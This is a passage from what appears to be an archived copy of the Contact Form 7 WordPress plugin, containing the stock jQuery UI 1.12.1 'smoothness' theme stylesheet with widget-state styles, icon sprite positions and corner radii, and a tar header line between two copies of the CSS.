.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #aaaaaa;
	background: #ffffff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #aaaaaa;
	background-color: #212121;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #212121;
	text-decoration: none;
}

/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #fcefa1;
	background: #fbf9ee url("images/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
	color: #363636;
}
.ui-state-checked {
	border: 1px solid #fcefa1;
	background: #fbf9ee;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #363636;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #cd0a0a;
	background: #fef1ec url("images/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
	color: #cd0a0a;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #cd0a0a;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #cd0a0a;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .7;
	filter:Alpha(Opacity=70); /* support: IE8 */
	font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	filter:Alpha(Opacity=35); /* support: IE8 */
	background-image: none;
}
.ui-state-disabled .ui-icon {
	filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */
}

/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	width: 16px;
	height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-widget-header .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon,
.ui-button:hover .ui-icon,
.ui-button:focus .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-active .ui-icon,
.ui-button:active .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-highlight .ui-icon,
.ui-button .ui-state-highlight.ui-icon {
	background-image: url("images/ui-icons_2e83ff_256x240.png");
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
	background-image: url("images/ui-icons_cd0a0a_256x240.png");
}
.ui-button .ui-icon {
	background-image: url("images/ui-icons_888888_256x240.png");
}

/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }


/* Misc visuals
----------------------------------*/

/* Corner radius */
.ui-corner-all,
.ui-corner-top,
.ui-corner-left,
.ui-corner-tl {
	border-top-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-top,
.ui-corner-right,
.ui-corner-tr {
	border-top-right-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-left,
.ui-corner-bl {
	border-bottom-left-radius: 4px;
}
.ui-corner-all,
.ui-corner-bottom,
.ui-corner-right,
.ui-corner-br {
	border-bottom-right-radius: 4px;
}

/* Overlays */
.ui-widget-overlay {
	background: #aaaaaa;
	opacity: .3;
	filter: Alpha(Opacity=30); /* support: IE8 */
}
.ui-widget-shadow {
	-webkit-box-shadow: -8px -8px 8px #aaaaaa;
	box-shadow: -8px -8px 8px #aaaaaa;
}
contact-form-7/includes/js/jquery-ui/themes/smoothness/theme.css000064400000042732147510273060021000 0ustar00/*!
 * jQuery UI CSS Framework 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 *
 * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=highlight_soft&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=flat&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=glass&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=glass&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=glass&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=glass&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=glass&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px
 */


/* Component containers
----------------------------------*/
.ui-widget {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1.1em;
}
.ui-widget .ui-widget {
	font-size: 1em;
}
.ui-widget input,
.ui-widget select,
.ui-widget textarea,
.ui-widget button {
	font-family: Verdana,Arial,sans-serif;
	font-size: 1em;
}
.ui-widget.ui-widget-content {
	border: 1px solid #d3d3d3;
}
.ui-widget-content {
	border: 1px solid #aaaaaa;
	background: #ffffff;
	color: #222222;
}
.ui-widget-content a {
	color: #222222;
}
.ui-widget-header {
	border: 1px solid #aaaaaa;
	background: #cccccc url("images/ui-bg_highlight-soft_75_cccccc_1x100.png") 50% 50% repeat-x;
	color: #222222;
	font-weight: bold;
}
.ui-widget-header a {
	color: #222222;
}

/* Interaction states
----------------------------------*/
.ui-state-default,
.ui-widget-content .ui-state-default,
.ui-widget-header .ui-state-default,
.ui-button,

/* We use html here because we need a greater specificity to make sure disabled
works properly when clicked or hovered */
html .ui-button.ui-state-disabled:hover,
html .ui-button.ui-state-disabled:active {
	border: 1px solid #d3d3d3;
	background: #e6e6e6 url("images/ui-bg_glass_75_e6e6e6_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #555555;
}
.ui-state-default a,
.ui-state-default a:link,
.ui-state-default a:visited,
a.ui-button,
a:link.ui-button,
a:visited.ui-button,
.ui-button {
	color: #555555;
	text-decoration: none;
}
.ui-state-hover,
.ui-widget-content .ui-state-hover,
.ui-widget-header .ui-state-hover,
.ui-state-focus,
.ui-widget-content .ui-state-focus,
.ui-widget-header .ui-state-focus,
.ui-button:hover,
.ui-button:focus {
	border: 1px solid #999999;
	background: #dadada url("images/ui-bg_glass_75_dadada_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-state-hover a,
.ui-state-hover a:hover,
.ui-state-hover a:link,
.ui-state-hover a:visited,
.ui-state-focus a,
.ui-state-focus a:hover,
.ui-state-focus a:link,
.ui-state-focus a:visited,
a.ui-button:hover,
a.ui-button:focus {
	color: #212121;
	text-decoration: none;
}

.ui-visual-focus {
	box-shadow: 0 0 3px 1px rgb(94, 158, 214);
}
.ui-state-active,
.ui-widget-content .ui-state-active,
.ui-widget-header .ui-state-active,
a.ui-button:active,
.ui-button:active,
.ui-button.ui-state-active:hover {
	border: 1px solid #aaaaaa;
	background: #ffffff url("images/ui-bg_glass_65_ffffff_1x400.png") 50% 50% repeat-x;
	font-weight: normal;
	color: #212121;
}
.ui-icon-background,
.ui-state-active .ui-icon-background {
	border: #aaaaaa;
	background-color: #212121;
}
.ui-state-active a,
.ui-state-active a:link,
.ui-state-active a:visited {
	color: #212121;
	text-decoration: none;
}

/* Interaction Cues
----------------------------------*/
.ui-state-highlight,
.ui-widget-content .ui-state-highlight,
.ui-widget-header .ui-state-highlight {
	border: 1px solid #fcefa1;
	background: #fbf9ee url("images/ui-bg_glass_55_fbf9ee_1x400.png") 50% 50% repeat-x;
	color: #363636;
}
.ui-state-checked {
	border: 1px solid #fcefa1;
	background: #fbf9ee;
}
.ui-state-highlight a,
.ui-widget-content .ui-state-highlight a,
.ui-widget-header .ui-state-highlight a {
	color: #363636;
}
.ui-state-error,
.ui-widget-content .ui-state-error,
.ui-widget-header .ui-state-error {
	border: 1px solid #cd0a0a;
	background: #fef1ec url("images/ui-bg_glass_95_fef1ec_1x400.png") 50% 50% repeat-x;
	color: #cd0a0a;
}
.ui-state-error a,
.ui-widget-content .ui-state-error a,
.ui-widget-header .ui-state-error a {
	color: #cd0a0a;
}
.ui-state-error-text,
.ui-widget-content .ui-state-error-text,
.ui-widget-header .ui-state-error-text {
	color: #cd0a0a;
}
.ui-priority-primary,
.ui-widget-content .ui-priority-primary,
.ui-widget-header .ui-priority-primary {
	font-weight: bold;
}
.ui-priority-secondary,
.ui-widget-content .ui-priority-secondary,
.ui-widget-header .ui-priority-secondary {
	opacity: .7;
	filter:Alpha(Opacity=70); /* support: IE8 */
	font-weight: normal;
}
.ui-state-disabled,
.ui-widget-content .ui-state-disabled,
.ui-widget-header .ui-state-disabled {
	opacity: .35;
	filter:Alpha(Opacity=35); /* support: IE8 */
	background-image: none;
}
.ui-state-disabled .ui-icon {
	filter:Alpha(Opacity=35); /* support: IE8 - See #6059 */
}

/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	width: 16px;
	height: 16px;
}
.ui-icon,
.ui-widget-content .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-widget-header .ui-icon {
	background-image: url("images/ui-icons_222222_256x240.png");
}
.ui-state-hover .ui-icon,
.ui-state-focus .ui-icon,
.ui-button:hover .ui-icon,
.ui-button:focus .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-active .ui-icon,
.ui-button:active .ui-icon {
	background-image: url("images/ui-icons_454545_256x240.png");
}
.ui-state-highlight .ui-icon,
.ui-button .ui-state-highlight.ui-icon {
	background-image: url("images/ui-icons_2e83ff_256x240.png");
}
.ui-state-error .ui-icon,
.ui-state-error-text .ui-icon {
	background-image: url("images/ui-icons_cd0a0a_256x240.png");
}
.ui-button .ui-icon {
	background-image: url("images/ui-icons_888888_256x240.png");
}

/* positioning */
.ui-icon-blank { background-position: 16px 16px; }
.ui-icon-caret-1-n { background-position: 0 0; }
.ui-icon-caret-1-ne { background-position: -16px 0; }
.ui-icon-caret-1-e { background-position: -32px 0; }
.ui-icon-caret-1-se { background-position: -48px 0; }
.ui-icon-caret-1-s { background-position: -65px 0; }
.ui-icon-caret-1-sw { background-position: -80px 0; }
.ui-icon-caret-1-w { background-position: -96px 0; }
.ui-icon-caret-1-nw { background-position: -112px 0; }
.ui-icon-caret-2-n-s { background-position: -128px 0; }
.ui-icon-caret-2-e-w { background-position: -144px 0; }
.ui-icon-triangle-1-n { background-position: 0 -16px; }
.ui-icon-triangle-1-ne { background-position: -16px -16px; }
.ui-icon-triangle-1-e { background-position: -32px -16px; }
.ui-icon-triangle-1-se { background-position: -48px -16px; }
.ui-icon-triangle-1-s { background-position: -65px -16px; }
.ui-icon-triangle-1-sw { background-position: -80px -16px; }
.ui-icon-triangle-1-w { background-position: -96px -16px; }
.ui-icon-triangle-1-nw { background-position: -112px -16px; }
.ui-icon-triangle-2-n-s { background-position: -128px -16px; }
.ui-icon-triangle-2-e-w { background-position: -144px -16px; }
.ui-icon-arrow-1-n { background-position: 0 -32px; }
.ui-icon-arrow-1-ne { background-position: -16px -32px; }
.ui-icon-arrow-1-e { background-position: -32px -32px; }
.ui-icon-arrow-1-se { background-position: -48px -32px; }
.ui-icon-arrow-1-s { background-position: -65px -32px; }
.ui-icon-arrow-1-sw { background-position: -80px -32px; }
.ui-icon-arrow-1-w { background-position: -96px -32px; }
.ui-icon-arrow-1-nw { background-position: -112px -32px; }
.ui-icon-arrow-2-n-s { background-position: -128px -32px; }
.ui-icon-arrow-2-ne-sw { background-position: -144px -32px; }
.ui-icon-arrow-2-e-w { background-position: -160px -32px; }
.ui-icon-arrow-2-se-nw { background-position: -176px -32px; }
.ui-icon-arrowstop-1-n { background-position: -192px -32px; }
.ui-icon-arrowstop-1-e { background-position: -208px -32px; }
.ui-icon-arrowstop-1-s { background-position: -224px -32px; }
.ui-icon-arrowstop-1-w { background-position: -240px -32px; }
.ui-icon-arrowthick-1-n { background-position: 1px -48px; }
.ui-icon-arrowthick-1-ne { background-position: -16px -48px; }
.ui-icon-arrowthick-1-e { background-position: -32px -48px; }
.ui-icon-arrowthick-1-se { background-position: -48px -48px; }
.ui-icon-arrowthick-1-s { background-position: -64px -48px; }
.ui-icon-arrowthick-1-sw { background-position: -80px -48px; }
.ui-icon-arrowthick-1-w { background-position: -96px -48px; }
.ui-icon-arrowthick-1-nw { background-position: -112px -48px; }
.ui-icon-arrowthick-2-n-s { background-position: -128px -48px; }
.ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; }
.ui-icon-arrowthick-2-e-w { background-position: -160px -48px; }
.ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; }
.ui-icon-arrowthickstop-1-n { background-position: -192px -48px; }
.ui-icon-arrowthickstop-1-e { background-position: -208px -48px; }
.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; }
.ui-icon-arrowthickstop-1-w { background-position: -240px -48px; }
.ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; }
.ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; }
.ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; }
.ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; }
.ui-icon-arrowreturn-1-w { background-position: -64px -64px; }
.ui-icon-arrowreturn-1-n { background-position: -80px -64px; }
.ui-icon-arrowreturn-1-e { background-position: -96px -64px; }
.ui-icon-arrowreturn-1-s { background-position: -112px -64px; }
.ui-icon-arrowrefresh-1-w { background-position: -128px -64px; }
.ui-icon-arrowrefresh-1-n { background-position: -144px -64px; }
.ui-icon-arrowrefresh-1-e { background-position: -160px -64px; }
.ui-icon-arrowrefresh-1-s { background-position: -176px -64px; }
.ui-icon-arrow-4 { background-position: 0 -80px; }
.ui-icon-arrow-4-diag { background-position: -16px -80px; }
.ui-icon-extlink { background-position: -32px -80px; }
.ui-icon-newwin { background-position: -48px -80px; }
.ui-icon-refresh { background-position: -64px -80px; }
.ui-icon-shuffle { background-position: -80px -80px; }
.ui-icon-transfer-e-w { background-position: -96px -80px; }
.ui-icon-transferthick-e-w { background-position: -112px -80px; }
.ui-icon-folder-collapsed { background-position: 0 -96px; }
.ui-icon-folder-open { background-position: -16px -96px; }
.ui-icon-document { background-position: -32px -96px; }
.ui-icon-document-b { background-position: -48px -96px; }
.ui-icon-note { background-position: -64px -96px; }
.ui-icon-mail-closed { background-position: -80px -96px; }
.ui-icon-mail-open { background-position: -96px -96px; }
.ui-icon-suitcase { background-position: -112px -96px; }
.ui-icon-comment { background-position: -128px -96px; }
.ui-icon-person { background-position: -144px -96px; }
.ui-icon-print { background-position: -160px -96px; }
.ui-icon-trash { background-position: -176px -96px; }
.ui-icon-locked { background-position: -192px -96px; }
.ui-icon-unlocked { background-position: -208px -96px; }
.ui-icon-bookmark { background-position: -224px -96px; }
.ui-icon-tag { background-position: -240px -96px; }
.ui-icon-home { background-position: 0 -112px; }
.ui-icon-flag { background-position: -16px -112px; }
.ui-icon-calendar { background-position: -32px -112px; }
.ui-icon-cart { background-position: -48px -112px; }
.ui-icon-pencil { background-position: -64px -112px; }
.ui-icon-clock { background-position: -80px -112px; }
.ui-icon-disk { background-position: -96px -112px; }
.ui-icon-calculator { background-position: -112px -112px; }
.ui-icon-zoomin { background-position: -128px -112px; }
.ui-icon-zoomout { background-position: -144px -112px; }
.ui-icon-search { background-position: -160px -112px; }
.ui-icon-wrench { background-position: -176px -112px; }
.ui-icon-gear { background-position: -192px -112px; }
.ui-icon-heart { background-position: -208px -112px; }
.ui-icon-star { background-position: -224px -112px; }
.ui-icon-link { background-position: -240px -112px; }
.ui-icon-cancel { background-position: 0 -128px; }
.ui-icon-plus { background-position: -16px -128px; }
.ui-icon-plusthick { background-position: -32px -128px; }
.ui-icon-minus { background-position: -48px -128px; }
.ui-icon-minusthick { background-position: -64px -128px; }
.ui-icon-close { background-position: -80px -128px; }
.ui-icon-closethick { background-position: -96px -128px; }
.ui-icon-key { background-position: -112px -128px; }
.ui-icon-lightbulb { background-position: -128px -128px; }
.ui-icon-scissors { background-position: -144px -128px; }
.ui-icon-clipboard { background-position: -160px -128px; }
.ui-icon-copy { background-position: -176px -128px; }
.ui-icon-contact { background-position: -192px -128px; }
.ui-icon-image { background-position: -208px -128px; }
.ui-icon-video { background-position: -224px -128px; }
.ui-icon-script { background-position: -240px -128px; }
.ui-icon-alert { background-position: 0 -144px; }
.ui-icon-info { background-position: -16px -144px; }
.ui-icon-notice { background-position: -32px -144px; }
.ui-icon-help { background-position: -48px -144px; }
.ui-icon-check { background-position: -64px -144px; }
.ui-icon-bullet { background-position: -80px -144px; }
.ui-icon-radio-on { background-position: -96px -144px; }
.ui-icon-radio-off { background-position: -112px -144px; }
.ui-icon-pin-w { background-position: -128px -144px; }
.ui-icon-pin-s { background-position: -144px -144px; }
.ui-icon-play { background-position: 0 -160px; }
.ui-icon-pause { background-position: -16px -160px; }
.ui-icon-seek-next { background-position: -32px -160px; }
.ui-icon-seek-prev { background-position: -48px -160px; }
.ui-icon-seek-end { background-position: -64px -160px; }
.ui-icon-seek-start { background-position: -80px -160px; }
/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */
.ui-icon-seek-first { background-position: -80px -160px; }
.ui-icon-stop { background-position: -96px -160px; }
.ui-icon-eject { background-position: -112px -160px; }
.ui-icon-volume-off { background-position: -128px -160px; }
.ui-icon-volume-on { background-position: -144px -160px; }
.ui-icon-power { background-position: 0 -176px; }
.ui-icon-signal-diag { background-position: -16px -176px; }
.ui-icon-signal { background-position: -32px -176px; }
.ui-icon-battery-0 { background-position: -48px -176px; }
.ui-icon-battery-1 { background-position: -64px -176px; }
.ui-icon-battery-2 { background-position: -80px -176px; }
.ui-icon-battery-3 { background-position: -96px -176px; }
.ui-icon-circle-plus { background-position: 0 -192px; }
.ui-icon-circle-minus { background-position: -16px -192px; }
.ui-icon-circle-close { background-position: -32px -192px; }
.ui-icon-circle-triangle-e { background-position: -48px -192px; }
.ui-icon-circle-triangle-s { background-position: -64px -192px; }
.ui-icon-circle-triangle-w { background-position: -80px -192px; }
.ui-icon-circle-triangle-n { background-position: -96px -192px; }
.ui-icon-circle-arrow-e { background-position: -112px -192px; }
.ui-icon-circle-arrow-s { background-position: -128px -192px; }
.ui-icon-circle-arrow-w { background-position: -144px -192px; }
.ui-icon-circle-arrow-n { background-position: -160px -192px; }
.ui-icon-circle-zoomin { background-position: -176px -192px; }
.ui-icon-circle-zoomout { background-position: -192px -192px; }
.ui-icon-circle-check { background-position: -208px -192px; }
.ui-icon-circlesmall-plus { background-position: 0 -208px; }
.ui-icon-circlesmall-minus { background-position: -16px -208px; }
.ui-icon-circlesmall-close { background-position: -32px -208px; }
.ui-icon-squaresmall-plus { background-position: -48px -208px; }
.ui-icon-squaresmall-minus { background-position: -64px -208px; }
.ui-icon-squaresmall-close { background-position: -80px -208px; }
.ui-icon-grip-dotted-vertical { background-position: 0 -224px; }
.ui-icon-grip-dotted-horizontal { background-position: -16px -224px; }
.ui-icon-grip-solid-vertical { background-position: -32px -224px; }
.ui-icon-grip-solid-horizontal { background-position: -48px -224px; }
.ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; }
.ui-icon-grip-diagonal-se { background-position: -80px -224px; }


/* Misc visuals
----------------------------------*/

/* Corner radius */
.ui-corner-all,
.ui-corner-top,
.ui-corner-left,
.ui-corner-tl {
